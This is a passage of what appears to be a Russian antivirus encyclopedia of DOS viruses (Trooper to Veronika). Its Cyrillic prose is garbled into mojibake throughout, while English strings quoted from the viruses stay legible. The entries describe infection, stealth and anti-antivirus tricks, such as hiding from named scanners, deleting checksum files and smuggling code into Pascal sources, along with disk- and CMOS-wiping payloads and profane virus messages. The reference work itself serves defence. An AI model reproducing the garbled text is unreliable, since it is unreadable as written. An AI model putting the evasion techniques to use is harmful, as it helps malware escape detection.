C:\WINDOWS\WIN.INI â C:\WINDOWS\*.INY. Ïîñëå ÷åãî óäàëÿåò ñåáÿ.
Trooper.2259
Ðåçèäåíòíûé ñòåëñ-âèðóñ. Ñîäåðæèò òåêñòîâûå ñòðîêè "3Î4Î5Î6Î7Î8Îd",
"TROOPER V1.0 Hungary-7500", "EXECOMCLIPPERCOMSPEC=", "BEFKNOW".
Trout.6804
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ïåðâûì äåëîì âèðóñ ïûòàåòñÿ
íàéòè ôàéëû ïî ìàñêàì C:*.COM, C:\DOS\KEYB.COM, C:\DOS\*.COM, *.COM è
çàðàçèòü 5 ôàéëîâ. Óäàëÿåò ôàéëû CHKLIST.MS,CHKLIST.CPS,ANTI-VIR.DAT,
\SCANCRC.CRC,\_CHK.CHK,\NAV_._NO.Âèðóñ ñêðûâàåòñÿ â ïàìÿòè îò ñëåäóþùèõ
ïðîãðàìì:
SCAN.NETSCAN.CLEAN.VSHIELD.F-PROT.VSAFE.MSAV.CPAV.NAV.TBAV.TBSCAN.
VDS.NOVI.AVP.-V.-VPRO.VIREX.AVSCAN.VI-SPY.GUARD.FINDVIRU.TNT.TNTAV.
HTSCAN.NEMESIS.NOD.ITAV.VI.VIRIT.IM.WIN.TD.DEBUG.
Ïðè ñòàðòå ëþáîé èç ýòèõ ïðîãðàìì, âèðóñ "îòïóñêàåò" çàõâà÷åííûé èì INT
21h, øèôðóåò ñâîþ ðåçèäåíòíóþ êîïèþ ñ ïîìîùüþ ïîëèìîðôíîãî ìåõàíèçìà,
"ïåðåõâàòûâàåò" INT 22h, óñòàíàâëèâàÿ åãî íà ïîëèìîðôíûé ðàñøèôðîâùèê,
óíè÷òîæàåò ñâîþ íåçàøèôðîâàííóþ êîïèþ â ïàìÿòè è îòäàåò óïðàâëåíèå
DOS. Ïîñëå îáðàòíîãî ïîëó÷åíèÿ óïðàâëåíèÿ "÷åðåç" INT 22h, ïî îêîí÷àíèè
ðàáîòû àíòèâèðóñíîé ïðîãðàììû, âèðóñ ðàñøèôðîâûâàåò ñâîé êîä è ñíîâà
"ïåðåõâàòûâàåò" INT 21h. Âèðóñ ñîäåðæèò òåêñò:
This is "The Second NewBorn Trout" virus
Programmed in the city of Milan, North Italy
[C] The Tricky Trout 1995
Mutation Engine: TT-PEB (Tricky Trout Plurimorphic Encryptor Builder)
version 2.01 (TPE standard)
Trurl.846
Ñîäåðæèò ñòðîêè "Bengal Tiger, v3p0x ## By Trurl, the great constructor,
1993## Buenos Aires, Argentina" è "Trurl".
Trust.687
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Óñòàíàâëèâàåò ñâîþ êîïèþ â îáëàñòü
âèäåîïàìÿòè BB00:0000 è "ïåðåõâàòûâàåò" INT 10h, 21h. Ïðè ñìåíå
âèäåîðåæèìà (f.0 Int 10h) âèðóñ "îñâîáîæäàåò" "çàõâà÷åííûå" èì
ïðåðûâàíèÿ. Èíîãäà âûâîäèò òåêñò:
Ïðèíöèï âçàèìíîãî äîâåðåèÿ âûøå âçàèìíûõ îáÿçàòåëüñòâ.
Ñ. Ìàâðîäè.
Truth.503
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Âûâîäèò òåêñò "THE TRUTH IS OUT THERE".
Truxested.based - âèðóñû
Äàííûå âèðóñû ñêîíñòðóèðîâàíû, âèäèìî, äëÿ "äåìîíñòðàöèè" âèäåîýôôåêòîâ
ðàçëè÷íûõ âèðóñîâ. Ðåçèäåíòíûå, çàðàæàþò COM-ôàéëû.Ïåðâîãî ÷èñëà ìåñÿöà
âûâîäÿò íà ýêðàí òåêñò:
TRUXESTED virus presents:
the demo effect of the virus ****
ãäå **** - ýòî íàçâàíèå âèðóñà, ÷åé ýôôåêò áóäåò ïðîäåìîíñòðèðîâàí
Truxested.based - âèðóñàìè. Ïîñëå ÷åãî äåìîíñòðèðóåòñÿ âèäåîýôôåêò äî
íàæàòèÿ íà êëàâèøó Esc. Â ìîåé êîëëåêöèè ñóùåñòâóåò 81 Truxested.based-
âèðóñ. Ïûòàþòñÿ ñðàçó æå çàðàçèòü ñëåäóþùèå ôàéëû: c:\dos\doskey.com,
c:\dos\edit.com, c:\dos\format.com, c:\dos\keyb.com, c:\dos\sys.com,
c:\dos\unformat.com,c:\windows\win.com.
Tsh.2UP.6000
Îïàñíûé øèôðîâàííûé âèðóñ.  COM-ôàéëû âíåäðÿåòñÿ â íà÷àëî ôàéëà. Â
EXE-ôàéëû âíåäðÿåò ñâîé êîä â îáëàñòü ôàéëà, ñëåäóþùóþ çà çàãîëîâêîì
(header) EXE-ôàéëà, êîððåêòèðóÿ ñîîòâåòñòâóþùèì îáðàçîì òàáëèöó
ïåðåìåùàåìûõ ñèìâîëîâ (relocation table). Ìåõàíèçì çàðàæåíèÿ ñëåäóþùèé
- ïðè ñòàðòå ïðîãðàììû, â òåêóùåì êàòàëîãå âèðóñ ñîçäàåò íîâûé ôàéë
OBJXCREF.COM, êîïèðóåò â íåãî ñîäåðæèìîå ïðîãðàììû, óäàëÿåò èñõîäíûé
ôàéë è ïåðåèìåíîâûâàåò ôàéë OBJXCREF.COM â ôàéë ñ ïåðâîíà÷àëüíûì
èìåíåì. Íà ýòàïå çàïèñè â ôàéë OBJXCREF.COM âèðóñ ñíà÷àëà çàïèñûâàåò
6000 áàéò ñâîåãî êîäà (äëÿ COM-ôàéëîâ) èëè ñêîððåêòèðîâàííûé çàãîëîâîê
ôàéëà (äëÿ EXE-ôàéëîâ), ïîòîì âèðóñíûé êîä, è òîëüêî ïîñëå ýòîãî
îñíîâíîå òåëî çàðàæåííîãî ôàéëà. Âèðóñ âûâîäèò ñîîáùåíèÿ: "Hello BOBBY!
(BOBBY-Trash Soft & Hardware)" èëè
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Attention ... No smoking ! Stop Talking ! º
ÖÄÄÄÄÄÄÄÄÐÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÐÄÄÄÄÄÄÄÄ·
º 2(Two) Unlimited Programists presents: 2UP Virus Version 1.0 º
ÓÄÄÄÄÄÄÄÄÒÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÒÄÄÄÄÄÄÄĽ
º ÕÍÍÍÍÍÍ͸ ÄÒÄ ÄÒÄ ÖÄÄÄÄÄÄÄÄÄ· º
º ¦ ¦ º º º º º
º ¦ ¦ º º º 2UP º º
º ¦ ¦ º º º º º
º ¦ ÍÍ º º ÇÄÄÄÄÄÄÄÄĽ º
º ÕÍÍÍÍÍÍ; º º º º
º ¦ º º º º
º ÔÍÍÍÍÍÍÍÍ ÓÄÄÄÄÄÄĽ ÄÐÄ º
º º
º We'll turn your life into nightmare º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ñîäåðæèò òåêñòû:
Hullo ! Welcome to 2UP virus. Don`t try so hard!
Hallo Mr.Virusolog,now you decod me !It's about fucking time.
What do you think about 2UP Virus ?
This Virus Was Designed in 1992-1994 .It Dedicated For Nobody..
I Want To BreakFree ! Right Now
2UP(C)1994
AID COMMAND ANTI AV HOOK SOS TSAFE -V SCAN NC VC TNT ADINF
Âèðóñ íå çàðàæàåò ïðîãðàììû, ñîäåðæàùèå â ñâîåì èìåíè ñî÷åòàíèÿ áóêâ èç
ïîñëåäíåé ñòðîêè.
Tsh.Banana.2413
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé ñòåëñ-âèðóñ. Èíîãäà (âèäèìî, ïðè
êîïèðîâàíèè êîäà ðåçèäåíòíîãî âèðóñà èç ïàìÿòè â ôàéë) ìîæåò âûâåñòè íà
ýêðàí èëè çàïèñàòü â ôàéë òåêñò:
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»±
º (C) 1994 Trash Soft & HardWare º±
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ñîäåðæèò òåêñòû:
Dig here!
Sometimes the banana is just a banana
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º The people are still having sex, º
º and nothing seems to stop them...º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Don't try to fuck me , Hacker!
Somebody in this world is having sex right now...
Designed in Tver. 1993-94
It's dedicated to all guys from Tver Politechnical Institute,
especially EVM-24, ATP-25, ASU-21...
Release date: 23-May-1994
Tu28II.535
28 ôåâðàëÿ â 23 ÷àñà âûâîäèò ñîîáùåíèå "Tu 28.II !A!".
Tubo
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Èíîãäà ðàñøèôðîâûâàåò è âûâîäèò íà ýêðàí
òåêñò "ØstanbulCCC was here. He He". Ñâîå íàçâàíèå ïîëó÷èë çà òî, ÷òî
â âûâîäèìîé íà ýêðàí ñòðîêå â åå çàøèôðîâàííîì ñîñòîÿíèè ïðèñóòñòâóåò
òåêñò "tubo".
Tumot.432
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè ñòàðòå ïðîãðàìì, èìåþùèõ â ñâîåì èìåíè
áóêâîñî÷åòàíèÿ "WEB." èëè "AIDS" âèðóñ îáåçâðåæèâàåò ñâîþ ðåçèäåíòíóþ
êîïèþ â ïàìÿòè, à çàòåì ñíîâà åå àêòèâèçèðóåò.
Tune.544
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè íàæàòèè íà Ctrl-Alt-Del âèðóñ èçäàåò
íåêèå ìóçûêàëüíûå çâóêè è âîçâðàùàåò óïðàâëåíèå â DOS.
Tune.663
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïîñëå çàïóñêà 33 ïðîãðàìì ñäâèãàåò
èçîáðàæåíèå íà ýêðàíå âíèç è âëåâî.
Turn.557, Turn.571
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. 31 ÷èñëà èçìåíÿþò íà çåðêàëüíûå
(ïåðåâåðíóòûå) èçîáðàæåíèÿ áóêâ ëàòèíñêîãî àëôàâèòà îò 'A' äî 'Z', ïî
îäíîé áóêâå ïîñëå êàæäîãî çàïóùåííîãî íà èñïîëíåíèå COM-ôàéëà.
Turner.3276
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ðàñïîëàãàåò ñâîþ ðåçèäåíòíóþ
êîïèþ â îáëàñòè ïàìÿòè EMS, è òîëüêî 215 áàéò ðàñïîëàãàþòñÿ â âåðõíèõ
àäðåñàõ ïàìÿòè. Ýòè 215 áàéò ïðîèçâîäÿò àíàëèç âûçûâàåìûõ ôóíêöèé INT
21h è ïðîèçâîäÿò ïåðåäà÷ó óïðàâëåíèÿ îñíîâíîìó âèðóñíîìó êîäó. Â ÿíâàðå
âèðóñ óíè÷òîæàåò ñîäåðæèìîå CMOS-ïàìÿòè, âûâîäèò ñîîáùåíèå:
The Turner Virus Version 3.56
This virus was written in Voronezh in July of 1993
Modified and enhanced with mutant engine & high implantation
In July-November of 1995 by RingWraith
TRY TO CATCH ME IF U RELY K00L!
CMOS ...perverted
MBR ...perverted
Whole disk ...wait...
ïîñëå ÷åãî óíè÷òîæàåò ñîäåðæèìîå ñåêòîðîâ ïåðâîãî æåñòêîãî äèñêà.
Ñîäåðæèò òåêñòû "EMMXXXX0", "=YooHoo=", "SHUTEND".
TV.730
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðèîäè÷åñêè ñòèðàåò ñåêòîðà äèñêà C:.
Ñîäåðæèò ñòðîêó "TV".
Twofs
Îïàñíûé çàãðóçî÷íûé âèðóñ. Ïîñëå 256 çàãðóçîê ñ æåñòêîãî äèñêà
óíè÷òîæàåò ñîäåðæèìîå 102 ïåðâûõ ñåêòîðîâ ïåðâîãî æåñòêîãî äèñêà.
Uddy.2617
Î÷åíü îïàñíûå ðåçèäåíòíûå âèðóñû. Óíè÷òîæàþò ñîäåðæèìîå ñåêòîðîâ äèñêà,
çàïèñûâàÿ â íèõ ñòðîêó "UDDY UDDY UDDY...", âûâîäÿò ýòó ñòðîêó íà ýêðàí
è ïåðåçàãðóæàþò êîìïüþòåð.
UFO.1468
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. "Ïåðåõâàòûâàåò" INT 9,21h. Ïîñëå
3000 íàæàòèé íà êëàâèøè âèðóñ âûâîäèò îäèí èç òåêñòîâ:
THEY... are here !
We will see who is gonna survive, motherfuckers !
You are all some fuckin Unknown Flying Objects !
UFO has come to destroy the fucking thresh around here !
Ïîñëå 30000 íàæàòèé íà êëàâèøè âèðóñ âûâîäèò òåêñò "I am sick of a
bullshit like" è óíè÷òîæàåò ñîäåðæèìîå CMOS-ïàìÿòè. Èìååò òåêñò "UFO".
Ukraine.3201 (1-3), 3215, 3300, 3537, 3627, 3633
Î÷åíü îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Ukraine.3537, 3627, 3633
èñïîëüçóþò â ïîëèìîðôíîì ðàñøèôðîâùèêå ïåðåõâàò INT 1Ch (òàéìåð). 24
÷èñëà ìåñÿöà âûâîäÿò òåêñò:
°°
°°° °°°° °°°
°° °° °°°° °° °°
°° °° °°°° °° °°
°° °° °°°° °° °°
°° °° °°°° °° °°
°° °° °° °° °°
°° °° °° °° °°
°° °° °° °° °°
°° °° °° °° °°
°° °° °° °° °°
°° °°° °° °°° °°
°° °°° °° °°° °°
°°°°°° °° °°°°°°
°° °°°° °°°° °°°° °°
°° °°°°°°° °° °° °°°°°°° °°
°° °°°°°° °° °° °°°°°° °°
°° °°°°°°°°° °°°°°°°°° °°
°° °° °°°° °° °°
°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
°° °° °°
°°° °° °°°
°°°°°°°°
°°°°
24 ÑÅÐÏÍß - ÄÅÍÜ ÍÅÇÀËÅÆÍÎÑÒI ÓÊÐÀIÍÈ !!!
Èãðàþò ãèìí Óêðàèíû è óíè÷òîæàþò ïåðâûé æåñòêèé äèñê. Ukraine.3537,3627
ïûòàþòñÿ óíè÷òîæèòü òàáëèöû ADinf íà âñåõ äîñòóïíûõ äèñêàõ. Ñîäåðæàò
òàêæå òåêñòû:
Ukraine.3201, 3215 - ÑËÀÂÀ ÓÊÐÀIÍI !!!
Ukraine.3201(2),3300,3537,3627,3633 - ÏÀÌ'ßÒÀÉÒÅ ÊËßÒI ÌÎÑÊÀËI !
ÎÒÎÆ !
Ukraine.3201 (3) - ÙÅ ÍÅ ÂÌÅÐËÀ ÓÊÐÀIÍÀ, ÙÅ ÍÅ ÂÌÅÐËÀ ÂÎËß !!!
ÎÒÎÆ !
UNashamed (1,2)
Íåîïàñíûå çàãðóçî÷íûå âèðóñû. Ïîñëå 10:00 è çàðàæåíèÿ 2 äèñêîâ ìîãóò
âûâåñòè íà ýêðàí òåêñò "the UNashamed Naked!" è "ïîâåñèòü" ñèñòåìó.
Unbidden.507
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èìååò òåêñò "<1996Nov3\Fryazino\Mikhail
G.\Unbidden v1.00>".
UnGame.645
Ïîñëå 4095 íàæàòèé íà êëàâèøè ïåðåâîäèò ìîíèòîð â òåêñòîâûé ðåæèì.
UnGame.823
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè óñòàíîâêå ãðàôè÷åñêîãî ðåæèìà #13h
320x200 "ïåðåãðóæàåò" ñèñòåìó.
Uniform
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Ñîäåðæèò òåêñò "UNIFORM".
Union.1449, 1531
Íåîïàñíûå çàøèôðîâàííûå íåðåçèäåíòíûå âèðóñû. Èíîãäà âûâîäÿò â
ãðàôè÷åñêîì âèäåîðåæèìå äâà ôëàãà: óêðàèíñêèé æåëòî-ñèíèé è ðîññèéñêèé
áåëî-ñèíå-êðàñíûé è òåêñò "ÓÊÐÀÈÍÀ È ÐÎÑÑÈß ÏÎÐÎÄÍÈËÈÑÜ ÍÀÂÑÅÃÄÀ !!!".
Ñîäåðæàò òåêñòû "UNION 2.0" (èëè "UNION 2.5" - Union.1531) è "*.exe
AIADSCNCPATH".
Urkel (1,2)
Íåîïàñíûå çàãðóçî÷íûå ñòåëñ-âèðóñû. Èíîãäà âûâîäÿò íà ýêðàí ñòðîêó
"Urkel".
Urod.662, 773
Î÷åíü îïàñíûå íåðåçèäåíòíûå âèðóñû. Îñòàâëÿþò â âèäåîïàìÿòè ðåçèäåíòíûé
êîä, êîòîðûé óäàëÿåò âñå îòêðûâàåìûå ôàéëû è âûâîäèò òåêñò:
Urod.662 - Ãóáàòûé ëàáîðàíò-óðîä
Urod.773 - Ñ íîâûì ãîäîì !!!
Urphin.1621
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïî âîçìîæíîñòè, óñòàíàâëèâàåò ñâîþ
ðåçèäåíòíóþ êîïèþ â îáëàñòü UMB. Ïðè ñòàðòå ïðîãðàììû TPC*.* âèðóñ âî
âñåõ îòêðûâàåìûõ ôàéëàõ *.PAS ïûòàåòñÿ íàéòè ñòðîêó "BEGIN" èëè
"begin". Åñëè äàííàÿ ñòðîêà íàéäåíà, òî âèðóñ ñðàçó æå çà ýòîé ñòðîêîé
çàïèñûâàåò òåêñò "ASM", äèðåêòèâó "DB" è êîíâåðòèðóåò ñîáñòâåííûé êîä â
àññåìáëåðíûå èíñòðóêöèè â âèäå áàéò äàííûõ. Çàêàí÷èâàþòñÿ âèðóñíûå
äàííûå ñòðîêîé "END;". Äàëåå âèðóñ çàïèñûâàåò ïðîäîëæåíèå *.PAS-ôàéëà.
 êîíåö äàííîãî *.PAS-ôàéëà âèðóñ çàïèñûâàåò ñòðîêó-èäåíòèôèêàòîð
"{URPHIN0 ¨ þ ¤}". Ïðè çàêðûòèè æå ýòîãî ôàéëà (f.3eh Int 21h)
âèðóñ óäàëÿåò èç íåãî ñâîè äàííûå è âîññòàíàâëèâàåò ôàéë â
ïåðâîíà÷àëüíîå ñîñòîÿíèå. Ò.î., ïðè êîìïèëÿöèè PAS-ôàéëà, ñîäåðæàùåãî
âèðóñíûå äàííûå, ïîëó÷àåòñÿ èñïîëíÿåìûé (COM èëè EXE) èíôèöèðîâàííûé
ôàéë. Íî ïðè âèçóàëüíîì ïðîñìîòðå èñõîäíîãî PAS-ôàéëà íèêàêèõ èçìåíåíèé
â íåì îáíàðóæåíî íå áóäåò.
USAHymn.1339
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "USA HYMN". 1, 21 è 24
÷èñëà èñïîëíÿåò ìåëîäèþ "Àìåðèêà", êîòîðàÿ íèêàêèì îáðàçîì ãèìíîì
Àìåðèêè íå ÿâëÿåòñÿ.
UVScan.1633
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Íå çàðàæàåò ôàéëû,íà÷èíàþùèåñÿ
íà V3 èëè SCAN.
V-Sign
Íåîïàñíûé ïîëèìîðôíûé (semipolymorphic) çàãðóçî÷íûé âèðóñ. Ïîñëå 64
çàðàæåíèé âûâîäèò íà ýêðàí êàðòèíêó:
ÛÛÛÛ ÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛ
ÛÛÛÛ
V2Px.1260, V2Px.V2P6.1993
Íåîïàñíûå íåðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Ïðè çàðàæåíèè ôàéëîâ
èñïîëüçóþò INT 01, 03 äëÿ äèíàìè÷åñêîé ðàñøèôðîâêè ñâîåãî êîäà.
Vacsina.634
Îïàñíûé ðåçèäåíòíûé âèðóñ. 21 ìàÿ óíè÷òîæàåò ñîäåðæèìîå çàãðóçî÷íîãî
ñåêòîðà òåêóùåãî äèñêà, çàïèñûâàÿ â íåãî "Happy birthday to Andrew !".
Vacsina.1206, 1212, 1269, 1339
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Vacsina.1206, 1212 èçäàþò çâóêîâîé ñèãíàë
ïðè çàðàæåíèè ôàéëà. Vacsina.1269 èíîãäà âûâîäèò íà ýêðàí òåêñò "Az sum
vasta lelja.". Ñîäåðæàò ñòðîêó "VACSINA".
Vandal.1895
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Åñëè çíà÷åíèå ìèíóò ñèñòåìíîãî
âðåìåíè ðàâíî 20, òî âèðóñ âûâîäèò íà ýêðàí òåêñò:
Âàñ ïðèâåòñòâóåò:
î÷åíü îïàñíûé ïîëèìîðôíûé ôàéëîâî-çàãðóçî÷íûé
ñòåëñ-âèðóñ: Âàíäàë. 1996ã. ã.Âîëãîãðàä.
Åòîò âèðóñ íàïèñàí âåëèêîðóññêèì âèðóñîïèñàòåëåì
ïîêà íå î÷åíü èçâåñíûì ïîä êëè÷êîé Dark Vandal!!!
Vanitas.2040
Îïàñíûé ðåçèäåíòíûé çàøèôðîâàííûé âèðóñ. Ïûòàåòñÿ çàðàçèòü ôàéëû
C:\WINDOWS\COMMAND.COM è C:\COMMAND.COM. 27 ìàðòà ïðîÿâëÿåòñÿ êàêèì-òî
âèäåîýôôåêòîì. Ñîäåðæèò òåêñòû "VANITAS++ v1.1 (c)GR97 by ANAX.Member
of ." è "Everyone is Original. [E-75]Chill-Out.".
Varna.1536
Îïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. 8 ÷èñëà ìåñÿöà óíè÷òîæàåò ñîäåðæèìîå
ïåðâîãî æåñòêîãî äèñêà. "Ïåðåõâàòûâàåò" INT 13h è 21h. Ïðè ÷òåíèè
çàãîëîâêà EXE-ôàéëîâ (28 áàéò) çàðàæàåò äàííûå ôàéëû.
VarWorm.913
Íåîïàñíûé ðåçèäåíòíûé çàøèôðîâàííûé âèðóñ. Ïðè çàðàæåíèè ôàéëîâ
çàïèñûâàåò ïåðåä ñîáîé äî 64K ñëó÷àéíûõ áàéò. Ñîäåðæèò òåêñò "Worm!".
VBasic
Ïûòàåòñÿ çàðàçèòü *.COM è *.EXE-ôàéëû íà âñåõ äèñêàõ. Èíîãäà âûâîäèò
ñîîáùåíèå "Access denied." è âîçâðàùàåò óïðàâëåíèå DOS. Ñîäåðæèò ñòðîêó
"*.EXE BASRUN BRUN *.COM IBMBIO.COM IBMDOS.COM COMMAND.COM *.*".
VCC.based - âèðóñû
Äàííûå âèðóñû ñêîíñòðóèðîâàíû ñ ïîìîùüþ âèðóñíîãî êîíñòðóêòîðà VCC.
Âèðóñû, ñîçäàííûå ñ ïîìîùüþ VCC-êîíñòðóêòîðà çàðàæàþò COM-ôàéëû.
Ñîäåðæàò òåêñò "[IE-VCC v0.19ñ]".
VCL.466
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ-ñïóòíèê. Èíîãäà èçäàåò "ùåëêàþùèå" çâóêè.
Ñîäåðæèò òåêñò "[VCL]".
VCL.662
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñòû:
- Ýòî Ðîæà Ëîçèíñêîãî,Ïîíÿâøåãî,×òî aidstest-ã08íî
- À Âîò Ìîñòîâîãî Åùå Íå Ïpîõâàòèëî...
CHLEN To Danilov's Laboratory !
VCL.BeePoP.587
Íåîïàñíûé âèðóñ-ñïóòíèê. Ïðîèçâîäèò ïîèñê EXE-ôàéëîâ è ñîçäàåò ôàéëû-
ñïóòíèêè ñ òåì æå èìåíåì, êàê è ó EXE-ôàéëà, íî ñ ðàñøèðåíèåì COM, êóäà
çàïèñûâàåò 587 áàéò ñâîåãî êîäà. Ïðè ñòàðòå âèðóñ âûâîäèò íà ýêðàí òåêñò:
Well, nobody is going to give a damn when they found your dead,limp,body in the
river next week with a knife through your heart. They'll just laugh and say...
"Good, I hated anyways." [VCL]
Òàêæå èìååò òåêñò "FAKE DARK AVENGER!!!(c) BeePoP / [PuKe] WaReZ 1992".
VCL.Mom.974
Îïàñíûé íåðåçèäåíòíûé âèðóñ.  àïðåëå ïîñëå 7 ÷èñëà óíè÷òîæàåò
ñîäåðæèìîå ëîãè÷åñêèõ ðàçäåëîâ æåñòêîãî äèñêà, ïîñëå ÷åãî âûâîäèò
ñîîáùåíèå:
You are hereby notified that your system has just encountered
a very unusuall disk error. This error can be very fatal!!!
Please check your system for any further errors.
DOS EXCEPTION ERROR #13
Ñîäåðæèò ñòðîêó "MoM#\/# ( ) #\/#".
VCL.Timothy
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ-ñïóòíèê. 17 ÿíâàðÿ èëè ïî ïîíåäåëüíèêàì
âûâîäèò ñîîáùåíèå:
Timothy Leary's dead!
No..hey's outside looking in...
Òàêæå ñîäåðæèò òåêñò "[VCL] TIMOTHY LEARY WANTS TO TALK410-721-9580.
TIMMY TEACH THEYOUNG THEY NEED GUIDANCE-GRAViTY'S RAiNBOW".
VCode.2540
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ.  äåêàáðå ïûòàåòñÿ óíè÷òîæèòü
èíôîðìàöèþ íà âñåõ äîñòóïíûõ ëîãè÷åñêèõ óñòðîéñòâàõ æåñòêîãî äèñêà.
Ñîäåðæèò çàøèôðîâàííûå òåêñòîâûå ñòðîêè "COMMAND.COM", "X:\CONFIG.SYS".
VComm.637
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðîèçâîäèò ïîèñê è çàðàæåíèå
*.EXE-ôàéëîâ â òåêóùåì äèðåêòîðèè. Ïðè çàðàæåíèè âèðóñ óâåëè÷èâàåò
ðàçìåð ôàéëà äî âåëè÷èíû êðàòíîé 512 áàéò, ïîñëå ÷åãî ïðèïèñûâàåò ñâîé
êîä. Âèðóñ óâåëè÷èâàåò êîëè÷åñòâî ïåðåìåùàåìûõ ýëåìåíòîâ EXE -ôàéëà íà
1. Âèðóñ îñòàâëÿåò â ñåãìåíòå BFFE:0000h ðåçèäåíòíóþ ïðîãðàììó íà INT
13h, çàïðåùàþùóþ çàïèñü íà äèñê.
VCS.based - âèðóñû
Äàííûå âèðóñû ñêîíñòðóèðîâàíû ñ ïîìîùüþ âèðóñíîãî êîíñòðóêòîðà Virus
Construction Set. Çàðàæàþò COM-ôàéëû. Îïàñíû. Óíè÷òîæàþò ñîäåðæèìîå
ôàéëîâ C:\AUTOEXEC.BAT è C:\CONFIG.SYS.
Vengeance.723
Î÷åíü îïàñíûé âèðóñ. 20 ÷èñëà ëþáîãî ìåñÿöà âûâîäèò ñîîáùåíèå
"*** Vengeance is ours! ***", ïîñëå ÷åãî ïûòàåòñÿ óíè÷òîæèòü
îòôîðìàòèðîâàòü äâà æåñòêèõ äèñêà. Ñîäåðæèò òàêæå ñòðîêó "SKISM/Phalcon
'92".
Verify
Îïàñíûé çàãðóçî÷íûé âèðóñ. 25 ÷èñëà ïðè çàïèñè íà äèñê (f.03 Int 13h)
èçìåíÿåò çíà÷åíèå ðåãèñòðà AH íà çíà÷åíèå 04 (verify).
Veronika
Íåîïàñíûé boot-âèðóñ. Ïîñëå çàðàæåíèÿ 15 äèñêîâ âûâîäèò òàêîé æå òåêñò,
êàê è âèðóñ Veronika.1549, ïîñëå ÷åãî "çàâåøèâàåò" ñèñòåìó.
Veronika.1549
Îïàñíûé ðåçèäåíòíûé çàøèôðîâàííûé âèðóñ. Ïðè 128 îáðàùåíèÿõ ê ãèáêèì
äèñêàì (f.0Eh INT 21h) çàïèñûâàåò â Boot-ñåêòîð ôëîïïè-äèñêà êîä,
ïðîèçâîäÿùèé, ïðè çàãðóçêå ñ äàííîé äèñêåòû, âûâîä íà ýêðàí òåêñòà:
ÛÛ ÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛ
